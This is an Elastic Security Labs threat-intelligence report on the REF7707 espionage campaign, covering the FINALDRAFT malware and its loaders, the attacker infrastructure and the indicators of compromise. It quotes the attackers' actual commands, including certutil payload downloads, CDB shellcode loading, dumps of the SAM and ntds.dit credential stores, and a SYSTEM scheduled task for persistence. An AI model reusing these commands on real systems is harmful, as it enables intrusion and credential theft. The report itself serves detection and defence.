From South America to Southeast Asia: The Fragile Web of REF7707

elastic.co/security-labs/fragile-web-ref7707

Subscribe

REF7707 summarized

Elastic Security Labs has been monitoring a campaign targeting the foreign ministry of a South American nation that has links to other compromises in Southeast Asia. We track this campaign as REF7707.

While the REF7707 campaign is characterized by a well-engineered, highly capable, novel intrusion set, the campaign owners exhibited poor campaign management and inconsistent evasion practices.

The intrusion set utilized by REF7707 includes novel malware families we refer to as FINALDRAFT, GUIDLOADER, and PATHLOADER. We have provided a detailed analysis of their functions and capabilities in the malware analysis report of REF7707 - You've Got Malware: FINALDRAFT Hides in Your Drafts.

Key takeaways

- REF7707 leveraged novel malware against multiple targets
- The FINALDRAFT malware has both a Windows and Linux variant
- REF7707 used an uncommon LOLBin to obtain endpoint execution
- Heavy use of cloud and third-party services for C2
- The attackers used weak operational security that exposed additional malware and infrastructure not used in this campaign

Campaign Overview

In late November 2024, Elastic Security Labs observed a tight cluster of endpoint behavioral alerts occurring at the Foreign Ministry of a South American country. As the investigation continued, we discovered a sprawling campaign and intrusion set that included novel malware, sophisticated targeting, and a mature operating cadence.

While parts of the campaign showed a high level of planning and technical competence, numerous tactical oversights exposed malware pre-production samples, infrastructure, and additional victims.

Campaign layout (the diamond model)

Elastic Security Labs utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leveraging Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a — although cluttered — single diamond.

Execution Flow

Primary execution chain

REF7707 was initially identified through Elastic Security telemetry of a South American nation's Foreign Ministry. We observed a common LOLBin tactic using Microsoft's certutil application to download files from a remote server and save them locally.

```
certutil  -urlcache -split -f https://[redacted]/fontdrvhost.exe C:\ProgramData\fontdrvhost.exe

certutil  -urlcache -split -f https://[redacted]/fontdrvhost.rar C:\ProgramData\fontdrvhost.rar

certutil  -urlcache -split -f https://[redacted]/config.ini C:\ProgramData\config.ini

certutil  -urlcache -split -f https://[redacted]/wmsetup.log C:\ProgramData\wmsetup.log
```

The web server hosting `fontdrvhost.exe`, `fontdrvhost.rar`, `config.ini`, and `wmsetup.log` was located within the same organization; however, it was not running the Elastic Agent. This was the first lateral movement observed and provided insights about the intrusion. We'll discuss these files in more detail, but for now, `fontdrvhost.exe` is a debugging tool, `config.ini` is a weaponized INI file, and `fontdrvhost.rar` was not recoverable.

WinrsHost.exe

Windows Remote Management's Remote Shell plugin (`WinrsHost.exe`) was used to download the files to this system from an unknown source system on a connected network. The plugin is the client-side process used by Windows Remote Management. It indicates that attackers already possessed valid network credentials and were using them for lateral movement from a previously compromised host in the environment. How these credentials were obtained is unknown; it is possible that the credentials were obtained from the web server hosting the suspicious files.

The attacker downloaded `fontdrvhost.exe`, `fontdrvhost.rar`, `config.ini`, and `wmsetup.log` to the `C:\ProgramData\` directory; from there, the attacker moved to several other Windows endpoints. While we can't identify all of the exposed credentials, we noted the use of a local administrator account to download these files.

Following the downloads from the web server to the endpoint, we saw a cluster of behavioral rules firing in quick succession.

On six Windows systems, we observed the execution of an unidentified binary (`08331f33d196ced23bb568689c950b39ff7734b7461d9501c404e2b1dc298cc1`) as a child of `Services.exe`. This suspicious binary uses a pseudo-randomly assigned file name consisting of six camel case letters with a `.exe` extension and is located in the `C:\Windows\` path (example: `C:\Windows\cCZtzzwy.exe`). We could not collect this file for analysis, but we infer that this is a variant of PATHLOADER based on the file size (`170,495` bytes) and its location. This file was passed between systems using SMB.

FontDrvHost.exe

Once the attacker collected `fontdrvhost.exe`, `fontdrvhost.rar`, `config.ini`, and `wmsetup.log`, it executed `fontdrvhost.exe` (`cffca467b6ff4dee8391c68650a53f4f3828a0b5a31a9aa501d2272b683205f9`) to continue with the intrusion. `fontdrvhost.exe` is a renamed version of the Windows-signed debugger `CDB.exe`. Abuse of this binary allowed our attackers to execute malicious shellcode delivered in the `config.ini` file under the guise of trusted binaries.

CDB is a debugger that is over 15 years old. In researching how often it was submitted with suspicious files to VirusTotal, we see increased activity in 2021 and an aggressive acceleration starting in late 2024.

CDB is a documented LOLBas file, but there hasn't been much-published research on how it can be abused. Security researcher mrd0x wrote a great analysis of CDB outlining how it can be used to run shellcode, launch executables, run DLLs, execute shell commands, and terminate security solutions (and even an older analysis from 2016 using it as a shellcode runner). While not novel, this is an uncommon attack methodology and could be used with other intrusion metadata to link actors across campaigns.

While `config.ini` was not collected for analysis, it contained a mechanism through which `fontdrvhost.exe` loaded shellcode; how it was invoked is similar to FINALDRAFT.

```
C:\ProgramData\fontdrvhost.exe -cf C:\ProgramData\config.ini -o C:\ProgramData\fontdrvhost.exe
```

- `-cf` - specifies the path and name of a script file. This script file is executed as soon as the debugger is started
- `config.ini` - this is the script to be loaded
- `-o` - debugs all processes launched by the target application

Then `fontdrvhost.exe` spawned `mspaint.exe` and injected shellcode into it.

Elastic Security Labs reverse engineers analyzed this shellcode to identify and characterize the FINALDRAFT malware. Finally, `fontdrvhost.exe` injected additional shellcode into memory (`6d79dfb00da88bb20770ffad636c884bad515def4f8e97e9a9d61473297617e3`) that was also identified as the FINALDRAFT malware.

As described in the analysis of FINALDRAFT, the malware defaults to `mspaint.exe` or `conhost.exe` if no target parameter is provided for an injection-related command.

Connectivity checks

The adversary performed several connectivity tests using the `ping.exe` command and via PowerShell.

Powershell's `Invoke-WebRequest` cmdlet is similar to `wget` or `curl`, which pulls down the contents of a web resource. This cmdlet may be used to download tooling from the command line, but that was not the case here. These requests in context with several `ping`s are more likely to be connectivity checks.

`graph.microsoft[.]com` and `login.microsoftonline[.]com` are legitimately owned Microsoft sites that serve API and web GUI traffic for Microsoft's Outlook cloud email service and other Office 365 products.

- `ping graph.microsoft[.]com`
- `ping www.google[.]com`
- `Powershell Invoke-WebRequest -Uri \"hxxps://google[.]com\`
- `Powershell Invoke-WebRequest -Uri \"hxxps://graph.microsoft[.]com\" -UseBasicParsing`
- `Powershell Invoke-WebRequest -Uri \"hxxps://login.microsoftonline[.]com\" -UseBasicParsing`

`digert.ictnsc[.]com` and `support.vmphere[.]com` were adversary-owned infrastructure.

- `ping digert.ictnsc[.]com`
- `Powershell Invoke-WebRequest -Uri \"hxxps://support.vmphere[.]com\" -UseBasicParsing`

We cover more about these network domains in the infrastructure section below.

Reconnaissance / enumeration / credential harvesting

The adversary executed an unknown script called `SoftwareDistribution.txt` using the `diskshadow.exe` utility, extracted the SAM, SECURITY, and SYSTEM Registry hives, and copied the Active Directory database (`ntds.dit`). These materials primarily contain credentials and credential metadata. The adversary used the 7zip utility to compress the results:

```
diskshadow.exe /s C:\\ProgramData\\SoftwareDistribution.txt

cmd.exe /c copy z:\\Windows\\System32\\config\\SAM C:\\ProgramData\\[redacted].local\\SAM /y

cmd.exe /c copy z:\\Windows\\System32\\config\\SECURITY C:\\ProgramData\\[redacted].local\\SECURITY /y

cmd.exe /c copy z:\\Windows\\System32\\config\\SYSTEM C:\\ProgramData\\[redacted].local\\SYSTEM /y

cmd.exe /c copy z:\\windows\\ntds\\ntds.dit C:\\ProgramData\\[redacted].local\\ntds.dit /y

7za.exe a [redacted].local.7z \"C:\\ProgramData\\[redacted].local\\\"
```

The adversary also enumerated information about the system and domain:

```
systeminfo

dnscmd . /EnumZones

net group /domain

C:\\Windows\\system32\\net1 group /domain

quser

reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID

reg query \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID\"

reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID\"
```

Persistence

Persistence was achieved using a Scheduled Task that invoked the renamed `CDB.exe` debugger and the weaponized INI file every minute as `SYSTEM`. This methodology ensured that FINALDRAFT resided in memory.

```
schtasks /create /RL HIGHEST /F /tn \"\\Microsoft\\Windows\\AppID\\EPolicyManager\"
/tr \"C:\\ProgramData\\fontdrvhost.exe -cf C:\\ProgramData\\config.ini -o C:\\ProgramData\\fontdrvhost.exe\"
/sc MINUTE /mo 1 /RU SYSTEM
```

- `schtasks` - the Scheduled Task program
- `/create` - creates a new scheduled task
- `/RL HIGHEST` - specifies the run level of the job, `HIGHEST` runs as the highest level of privileges
- `/F` - suppress warnings

- `/tn \\Microsoft\\Windows\\AppID\\EPolicyManager\` - task name, attempting to mirror an authentic looking scheduled task
- `/tr \"C:\\ProgramData\\fontdrvhost.exe -cf C:\\ProgramData\\config.ini -o C:\\ProgramData\\fontdrvhost.exe\"` - task to run, in this case the `fontdrvhost.exe` commands we covered earlier
- `/sc MINUTE` - schedule type, `MINUTE` specifies the to run on minute intervals
- `/mo 1` - modifier, defines `1` for the schedule interval
- `/RU SYSTEM` - defines what account to run as; in this situation, the task will run as the SYSTEM user

FINALDRAFT Analysis

A technical deep-dive describing the capabilities and architecture of the FINALDRAFT and PATHLOADER malware is available here. At a high level, FINALDRAFT is a well-engineered, full-featured remote administration tool with the ability to accept add-on modules that extend functionality and proxy network traffic internally by multiple means.

Although FINALDRAFT can establish command and control using various means, the most notable are the means we observed in our victim environment, abuse of Microsoft's Graph API. We first observed this type of third-party C2 in SIESTAGRAPH, which we reported in December 2022.

This command and control type is challenging for defenders of organizations that heavily depend on network visibility to catch. Once the initial execution and check-in have been completed, all further communication proceeds through legitimate Microsoft infrastructure (`graph.microsoft[.]com`) and blends in with the other organizational workstations. It also supports relay functionality that enables it to proxy traffic for other infected systems. It evades defenses reliant on network-based intrusion detection and threat-intelligence indicators.

PATHLOADER and GUIDLOADER

Both PATHLOADER and GUIDLOADER are used to download and execute encrypted shellcodes in memory. They were discovered in VirusTotal while investigating the C2 infrastructure and strings identified within a FINALDRAFT memory capture. They have only been observed in association with FINALDRAFT payloads.

A May 2023 sample in VirusTotal is the earliest identified binary of the REF7707 intrusion set. This sample was first submitted by a web user from Thailand, `dwn.exe` (`9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf`) is a PATHLOADER variant that loads an encrypted FINALDRAFT binary from `poster.checkponit[.]com` and `support.fortineat[.]com`.

Between June and August of 2023, a Hong Kong VirusTotal web user uploaded 12 samples of GUIDLOADER. These samples each had minor modifications to how the encrypted payload was downloaded and were configured to use FINALDRAFT domains:

- `poster.checkponit[.]com`
- `support.fortineat[.]com`
- Google Firebase (`firebasestorage.googleapis[.]com`)
- Pastebin (`pastebin[.]com`)
- A Southeast Asian University public-facing web storage system

Some samples of GUIDLOADER appear unfinished or broken, with non-functional decryption routines, while others contain debug strings embedded in the binary. These variations suggest that the samples were part of a development and testing process.

FINALDRAFT bridging OS'

In late 2024, two Linux ELF FINALDRAFT variants were uploaded to VirusTotal, one from the United States and one from Brazil. These samples feature similar C2 versatility and a partial reimplementation of the commands available in the Windows version. URLs were pulled from these files for `support.vmphere[.]com`, `update.hobiter[.]com`, and `pastebin.com`.

Infrastructure Analysis

In the FINALDRAFT malware analysis report, several domains were identified in the samples collected in the REF7707 intrusion, and other samples were identified through code similarity.

Service banner hashes

A Censys search for `hobiter[.]com` (the domain observed in the ELF variant of FINALDRAFT, discussed in the previous section) returns an IP address of `47.83.8.198`. This server is Hong Kong-based and is serving ports `80` and `443`. The string "`hobiter[.]com`" is associated with the TLS certificate on port `443`. A Censys query pivot on the service banner hash of this port yields six additional servers that share that hash (seven total).

IP	TLS Cert names	Cert CN	ports	ASN	GEO
`47.83.8.198`	*.hobiter[.]com	CloudFlare Origin Certificate	`80`, `443`	`45102`	Hong Kong
`8.218.153.45`	*.autodiscovar[.]com	CloudFlare Origin Certificate	`53`, `443`, `2365`, `3389`, `80`	`45102`	Hong Kong
`45.91.133.254`	*.vm-clouds[.]net	CloudFlare Origin Certificate	`443`, `3389`	`56309`	Nonthaburi, Thailand
`8.213.217.182`	*.ictnsc[.]com	CloudFlare Origin Certificate	`53`, `443`, `3389`, `80`	`45102`	Bangkok, Thailand
`47.239.0.216`	*.d-links[.]net	CloudFlare Origin Certificate	`80`, `443`	`45102`	Hong Kong
`203.232.112.186`	[NONE]	[NONE]	`80`, `5357`, `5432`, `5985`, `8000`, `8080`, `9090`, `15701`, `15702`, `15703`, `33990` `47001`	`4766`	Daejeon, South Korea
`13.125.236.162`	[NONE]	[NONE]	`80`, `3389`, `8000`, `15111`, `15709`, `19000`	`16509`	Incheon, South Korea

Two servers (`203.232.112[.]186` and `13.125.236[.]162`) do not share the same profile as the other five. While the service banner hash still matches, it is not on port `443`, but on ports `15701`, `15702`, `15703`, and `15709`. Further, the ports in question do not appear to support TLS communications. We have not attributed them to REF7707 with a high degree of confidence but are including them for completeness.

The other five servers, including the original "hobiter" server, share several similarities:

- Service banner hash match on port `443`
- Southeast Asia geolocations
- Windows OS
- Cloudflare issued TLS certs
- Most have the same ASN belonging to Alibaba

Hobiter and VMphere

`update.hobiter[.]com` and `support.vmphere[.]com` were found in an ELF binary (biosets.rar) from December 13, 2024. Both domains were registered over a year earlier, on September 12, 2023. This ELF binary features similar C2 versatility and a partial reimplementation of the commands available in the Windows version of FINALDRAFT.

A name server lookup of `hobiter[.]com` and `vmphere[.]com` yields only a Cloudflare name server record for each and no A records. Searching for their known subdomains provides us with A records pointing to Cloudflare-owned IP addresses.

ICTNSC

ictnsc[.]com is directly associated with the REF7707 intrusion above from a connectivity check (ping digert.ictnsc[.]com) performed by the attackers. The server associated with this domain (8.213.217[.]182) was identified through the Censys service banner hash on the HTTPS service outlined above. Like the other identified infrastructure, the subdomain resolves to Cloudflare-owned IP addresses, and the parent domain only has a Cloudflare NS record. ictnsc[.]com was registered on February 8, 2023.

While we cannot confirm the association as malicious, it should be noted that the domain ict.nsc[.]ru is the Federal Research Center for Information and Computational Technologies web property, often referred to as the FRC or the ICT. This Russian organization conducts research in various areas like computer modeling, software engineering, data processing, artificial intelligence, and high-performance computing.

While not observed in the REF7707 intrusion, the domain we observed (ictnsc[.]com) has an ict subdomain (ict.ictnsc[.]com), which is strikingly similar to ict.nsc[.]ru. Again, we cannot confirm if they are related to the legitimate FRC or ITC, it seems the threat actor intended for the domains to be similar, conflated, or confused with each other.

Autodiscovar

Autodiscovar[.]com has not been directly associated with any FINALDRAFT malware. It has been indirectly associated with REF7707 infrastructure through pivots on web infrastructure identifiers. The parent domain only has a Cloudflare NS record. A subdomain identified through VirusTotal (cloud.autodiscovar[.]com) points to Cloudflare-owned IP addresses. This domain name resembles other FINALDRAFT and REF7707 web infrastructure and shares the HTTPS service banner hash. This domain was registered on August 26, 2022.

D-links and VM-clouds

d-links[.]net and vm-clouds[.]net were both registered on September 12, 2023, the same day as hobiter[.]com and vmphere[.]com. The servers hosting these sites also share the same HTTPS service banner hash. They are not directly associated with the FINALDRAFT malware nor have current routable subdomains, though pol.vm-clouds[.]net was previously registered.

Fortineat

support.fortineat[.]com was hard-coded in the PATHLOADER sample (dwn.exe). During our analysis of the domain, we discovered that it was not currently registered. To identify any other samples communicating with the domain, our team registered this domain and configured a web server to listen for incoming connections.

We recorded connection attempts over port 443, where we identified a specific incoming byte pattern. The connections were sourced from eight different telecommunications and Internet infrastructure companies in Southeast Asia, indicating possible victims of the REF7707 intrusion set.

Checkponit

poster.checkponit[.]com was observed in four GUIDLOADER samples and a PATHLOADER sample between May and July 2023, and it was used to host the FINALDRAFT encrypted shellcode. The checkponit[.]com registration was created on August 26, 2022. There are currently no A records for checkponit[.]com or poster.checkponit[.]com.

Third-party infrastructure

Microsoft's graph.microsoft[.]com is used by the FINALDRAFT PE and ELF variants for command and control via the Graph API. This service is ubiquitous and used for critical business processes of enterprises using Office 365. Defenders are highly encouraged to NOT block-list this domain unless business ramifications are understood.

Google's Firebase service (firebasestorage.googleapis[.]com), Pastebin (pastebin[.]com), and a Southeast Asian University are third-party services used to host the encrypted payload for the loaders (PATHLOADER and GUIDLOADER) to download and decrypt the last stage of FINALDRAFT.

REF7707 timeline

Conclusion

REF7707 was discovered while investigating an intrusion of a South American nation's Foreign Ministry.

The investigation revealed novel malware like FINALDRAFT and its various loaders. These tools were deployed and supported using built-in operating system features that are difficult for traditional anti-malware tools to detect.

FINALDRAFT co-opts Microsoft's graph API service for command and control to minimize malicious indicators that would be observable to traditional network-based intrusion detection and prevention systems. Third-party hosting platforms for encrypted payload staging also challenge these systems early in the infection chain.

An overview of the VirusTotal submitters and pivots using the indicators in this report shows a relatively heavy geographic presence in Southeast Asia and South America. SIESTAGRAPH, similarly, was the first in-the-wild graph API abuse we had observed, and it (REF2924) involved an attack on a Southeast Asian nation's Foreign Ministry.

At Elastic Security Labs, we champion defensive capabilities across infosec domains operated by knowledgeable professionals to mitigate advanced threats best.

REF7707 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Detecting REF7707

YARA

Observations

The following observables were discussed in this research.

Observable	Type	Name	Reference
39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530	SHA-256	Session.x64.dll	FINALDRAFT
83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c	SHA-256	pfman	FINALDRAFT ELF
f45661ea4959a944ca2917454d1314546cc0c88537479e00550eef05bed5b1b9	SHA-256	biosets.rar	FINALDRAFT ELF
9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf	SHA-256	dwn.exe	PATHLOADER
41a3a518cc8abad677bb2723e05e2f052509a6f33ea75f32bd6603c96b721081	SHA-256	5.exe	GUIDLOADER
d9fc1cab72d857b1e4852d414862ed8eab1d42960c1fd643985d352c148a6461	SHA-256	7.exe	GUIDLOADER
f29779049f1fc2d45e43d866a845c45dc9aed6c2d9bbf99a8b1bdacfac2d52f2	SHA-256	8.exe	GUIDLOADER
17b2c6723c11348ab438891bc52d0b29f38fc435c6ba091d4464f9f2a1b926e0	SHA-256	3.exe	GUIDLOADER
20508edac0ca872b7977d1d2b04425aaa999ecf0b8d362c0400abb58bd686f92	SHA-256	1.exe	GUIDLOADER
33f3a8ef2c5fbd45030385b634e40eaa264acbaeb7be851cbf04b62bbe575e75	SHA-256	1.exe	GUIDLOADER

Observable	Type	Name	Reference
41141e3bdde2a7aebf329ec546745149144eff584b7fe878da7a2ad8391017b9	SHA-256	11.exe	GUIDLOADER
49e383ab6d092ba40e12a255e37ba7997f26239f82bebcd28efaa428254d30e1	SHA-256	2.exe	GUIDLOADER
5e3dbfd543909ff09e343339e4e64f78c874641b4fe9d68367c4d1024fe79249	SHA-256	4.exe	GUIDLOADER
7cd14d3e564a68434e3b705db41bddeb51dbb7d5425fd901c5ec904dbb7b6af0	SHA-256	1.exe	GUIDLOADER
842d6ddb7b26fdb1656235293ebf77c683608f8f312ed917074b30fbd5e8b43d	SHA-256	2.exe	GUIDLOADER
f90420847e1f2378ac8c52463038724533a9183f02ce9ad025a6a10fd4327f12	SHA-256	6.exe	GUIDLOADER
poster.checkponit[.]com	domain-name		REF7707 infrastructure
support.fortineat[.]com	domain-name		REF7707 infrastructure
update.hobiter[.]com	domain-name		REF7707 infrastructure
support.vmphere[.]com	domain-name		REF7707 infrastructure
cloud.autodiscovar[.]com	domain-name		REF7707 infrastructure
digert.ictnsc[.]com	domain-name		REF7707 infrastructure
d-links[.]net	domain-name		REF7707 infrastructure
vm-clouds[.]net	domain-name		REF7707 infrastructure
47.83.8[.]198	ipv4-addr		REF7707 infrastructure
8.218.153[.]45	ipv4-addr		REF7707 infrastructure
45.91.133[.]254	ipv4-addr		REF7707 infrastructure
8.213.217[.]182	ipv4-addr		REF7707 infrastructure
47.239.0[.]216	ipv4-addr		REF7707 infrastructure

References

The following were referenced throughout the above research:

About Elastic Security Labs

Elastic Security Labs is dedicated to creating positive change in the threat landscape by providing publicly available research on emerging threats.

Follow Elastic Security Labs on X @elasticseclabs and check out our research at www.elastic.co/security-labs/. You can see the technology we leveraged for this research and more by checking out Elastic Security.